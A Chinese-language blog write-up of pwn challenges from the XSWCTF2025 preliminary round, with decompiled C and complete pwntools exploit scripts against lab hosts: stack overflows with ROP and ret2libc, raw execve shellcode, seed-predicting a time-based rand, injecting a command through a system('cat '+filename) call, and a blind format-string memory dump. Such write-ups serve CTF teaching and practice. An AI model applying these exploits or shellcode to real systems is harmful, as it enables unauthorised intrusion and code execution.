Featured image of post XSWCTF2025初赛Pwn wp

XSWCTF2025初赛Pwn wp

ezzzzz_overflow

1 开了NX保护,scanf函数存在无限栈溢出,有后门,ret2text

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *
#p=process('./pwn')
p=remote('192.168.248.1',64762)
context(log_level='debug',arch='amd64')
p.recvuntil(b'you name?')
shell=0x4011b6
ret=0x4012AA
pay=b'a'*(0x20+8)+p64(shell)
p.sendline(pay)
p.interactive()

roprop

2 有NX和pie

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF

  init(argc, argv, envp);
  printf("welcome to xswctf!!");
  memset(buf, 0, sizeof(buf));
  puts("here is a gift.");
  printf("%p\n", gift);
  read(0, buf, 0x50uLL);
  return 0;
}

给了gift地址用来绕过pie,没有后门,有systemplt,gadget和/bin/sh字串,打rop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *
#p=process('./pwn')
p=remote('192.168.248.1',54036)
context(log_level='debug',arch='amd64')
p.recvuntil(b'welcome to xswctf!!here is a gift.')
p.recvuntil(b'0x')
pie=int(p.recv(12),16)-0x4038
print(hex(pie))
sys=pie+0x1040
binsh=pie+0x4048
rdi=pie+0x11f4
ret=pie+0x1016
pay=b'a'*(0x20+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(sys)+p64(0)
p.sendline(pay)
p.interactive()

shellcode的艺术(尝鲜版)

3

无NX有pie

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
void vuln()
{
  char buf[312]; // [rsp+0h] [rbp-140h] BYREF
  unsigned __int64 v1; // [rsp+138h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("你知道shellcode是什么吗,试着编写你自己的shellcode吧");
  read(0, buf, 0x12CuLL);
  __asm { jmp     rsi }
}

程序先向buf中数据然后执行其内容 所以ret2shellcode

1
2
3
4
5
6
7
8
from pwn import *

#p=process('./pwn')
p=remote('192.168.248.1',52425)
context(log_level='debug', arch='amd64')
shellcode = b"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x5e\x0f\x05"
p.send(shellcode)
p.interactive()

数字炸弹bomb!

4

保护全开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v5; // [rsp+0h] [rbp-30h] BYREF
  int i; // [rsp+4h] [rbp-2Ch]
  int v7; // [rsp+8h] [rbp-28h]
  int v8; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v10; // [rsp+28h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v3 = time(0LL);
  srand(v3);
  v7 = rand() % 500;
  puts("让我们来玩数字炸弹吧!!!但这次是猜中有奖哦~~~~");
  printf("请输入你的游戏ID: ");
  v8 = read(0, buf, 0x14uLL);
  buf[v8 - 1] = 0;
  printf(buf);
  puts(",欢迎您!");
  puts("---------------------------------------------------");
  puts("                    游戏开始                        ");
  for ( i = 0; i <= 2; ++i )
  {
    printf("猜猜我的炸弹是什么(提示----在[0,500)中哦): ");
    __isoc99_scanf(&unk_214C, &v5);
    if ( v7 == v5 )
      win();
    if ( v7 > v5 )
      puts(&byte_214F);
    if ( v7 < v5 )
      puts("嘶,,大了呢");
  }
  puts("---------------------------------------------------");
  puts("                    游戏结束                        ");
  puts(&byte_21B0);
  return 0;
}

是一个伪随机绕过 题目用了v3 = time(0LL); 所以我们的种子也设为当前时间就好

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *
import time
import ctypes
#p=process('./pwn')
libc=ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
p=remote('192.168.248.1',59068)
context(log_level='debug',arch='amd64')
seed = int(time.time())
libc.srand(seed)
p.recvuntil(b'ID: ')
p.send(b'a')
ans=str(libc.rand() % 500)
p.recvuntil(': ')
p.sendline(ans.encode())
p.interactive()

Pikachu

5

没有后门 但是edit和add都有栈溢出,可以找到pop rdi 于是ret2libc,我用的是add函数

需要注意的是, 读入payload的时会覆盖v3,所以payload需要保证v3的值不变如

1
pay1=b'a'*(0x110-4)+p32(0)+p64(0)+p64(rdi)+p64(putsgot)+p64(putsplt)+p64(addd)

的p32(0)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
int add()
{
  _QWORD *v0; // rax
  char buf[268]; // [rsp+0h] [rbp-110h] BYREF
  unsigned int v3; // [rsp+10Ch] [rbp-4h] BYREF

  puts("input index:");
  v3 = 0;
  __isoc99_scanf("%d", &v3);
  if ( v3 < 0xA )
  {
    if ( p[v3] )
    {
      LODWORD(v0) = puts("The element already exists in the array.");
    }
    else
    {
      puts("input content:");
      read(0, buf, 0x200uLL);
      v0 = p;
      p[v3] = gift;
    }
  }
  else
  {
    LODWORD(v0) = puts("Array out of bounds");
  }
  return (int)v0;
}
from pwn import *
#p=process('./pwn')
libc=ELF('./libc.so.6')
p=remote('192.168.248.1',52538)
context(log_level='debug',arch='amd64')
def add(idx,content):
    p.recvuntil(b'5.exit')
    p.sendline(b'1')
    p.recvuntil(b'input index:')
    p.sendline(str(idx).encode())
    p.recvuntil(b'input content:')
    p.send(content)
    
def edit(idx,content):
    p.recvuntil(b'5.exit')
    p.sendline(b'2')
    p.recvuntil(b'input index:')
    p.sendline(str(idx).encode())
    p.recvuntil(b'input content:')
    p.send(content)
def dele(idx):
    p.recvuntil(b'5.exit')
    p.sendline(b'3')
    p.recvuntil(b'input index:')
    p.sendline(str(idx).encode())
rdi=0x4011cb
putsgot=0x404000
putsplt=0x401030
main=0x40152d
addd=0x401240
pay1=b'a'*(0x110-4)+p32(0)+p64(0)+p64(rdi)+p64(putsgot)+p64(putsplt)+p64(addd)
#gdb.attach(p)
add(0,pay1)
p.recv(1)
#-0x835a0
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x805a0
print(hex(libcbase))
#gdb.attach(p)
sys=libcbase+libc.symbols['system']
binsh = libcbase + 0x1a7ea4
ret=0x401016
ogg1=libcbase+0xddf43
ogg2=libcbase+0xfb06a
p.recvuntil(b'input index:')
p.sendline(b'1')
p.recvuntil(b'input content:')
pay2=b'a'*(0x110-4)+p32(1)+p64(0)+p64(ret)+p64(rdi)+p64(binsh)+p64(sys)
print(hex(libcbase))
print(hex(binsh))
print(hex(sys))
#gdb.attach(p)
p.send(pay2)


p.interactive()

AAAA文件读取系统

6

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void *__fastcall cat(void *a1)
{
  char dest[8]; // [rsp+10h] [rbp-40h] BYREF
  __int64 v3; // [rsp+18h] [rbp-38h]
  __int64 v4; // [rsp+20h] [rbp-30h]
  __int64 v5; // [rsp+28h] [rbp-28h]
  __int64 v6; // [rsp+30h] [rbp-20h]
  __int64 v7; // [rsp+38h] [rbp-18h]
  __int16 v8; // [rsp+40h] [rbp-10h]

  *(_QWORD *)dest = 544498019LL;
  v3 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0;
  strcat(dest, file);
  system(dest);
  return 0LL;
}
void __noreturn vuln()
{
  pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF

  puts(&s);
  puts("这个文件夹里有以下文件——");
  system("ls");
  while ( 1 )
  {
    puts("所以你想知道哪个文件的内容呢~😏:");
    __isoc99_scanf(&aS, file);
    if ( !strcmp(file, v1) )
      puts("抱歉,就是不给你看这个文件呢~~~~~~~~~~");
    else
      pthread_create(&newthread, 0LL, cat, 0LL);
  }
}

审读源码 如果文件名不为flag,cat函数会把文件名拼接到deat后然后执行,虽然不知道为什么system(dest+命令也能执行但是确实可以( 正常情况下应该;+命令进行多条命令执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *
#p=process('./pwn')
p=remote('192.168.248.1',60786)
context(log_level='debug',arch='amd64')
p.recvuntil(b':')
sys=0x4010b0
binsh=0x004020cd
#pay=b'a'*0x40+p64(sys)
pay=b'cat /flag'
p.sendline(pay)
p.interactive()

nofile

fmt盲打,从网上搜了一下需要先dump文件内容,模仿了一个脚本如下,从0x40000开始泄露

但是泄露的elf文件不完整,于是又上网搜 发现

7

这样设置的话可以打开文件

8

9

读汇编发现name=y0u_kn0w_c6c?的时候获得shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import os

import sys
import time
from pwn import *
from ctypes import *
import binascii

context.os = 'linux'
context.log_level = "debug"

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'
    
# 增加超时设置,防止无限等待
p = remote('192.168.248.1', 58731, timeout=5) 
begin = 0x400000
bin_data = b''

def leak(addr):
    """
    尝试泄露指定地址的数据。
    如果成功,返回泄露的数据(不含'dump')。
    如果失败(超时或连接关闭),返回 None。
    """
    try:
        pl = b"%7$sdump" + p64(addr)
        p.sendafter(b'Please enter your answer\n', pl)
        data = p.recvuntil(b'dump', drop=True)
        return data
    except (pwnlib.exception.PwnlibTimeoutError, EOFError):
        return None
    
try:
    while True:
        print(f"[*] Trying to leak address: 0x{begin:016x}")
        data = leak(begin)
        
        if data is None:
            # 如果 leak 返回 None,说明已经没有数据可以读取了
            print("[!] No more data received. Exiting loop.")
            break
            
        if not data:  # 如果返回空字节串 b''
            # 这通常意味着泄露的就是空数据
            bin_data += b'\x00'
            begin += 1
        else:
            bin_data += data
            begin += len(data)

except Exception as e:
    print(f"[!] An error occurred: {e}")
finally:
    print(f'[+] Dump finished. Total length: {len(bin_data)} bytes.')
    with open('dump_bin', 'wb') as f:
        f.write(bin_data)

# 尝试关闭连接
try:
    p.close()
except:
    pass
from pwn import *
p = remote('192.168.248.1', 58731)
p.recvuntil(b'Please enter your answer')
p.send(b'y0u_kn0w_c6c?')
p.interactive()
共生产 19 篇文章,约 39.77k 字使用 Hugo 构建
主题 Stack 由 Jimmy 设计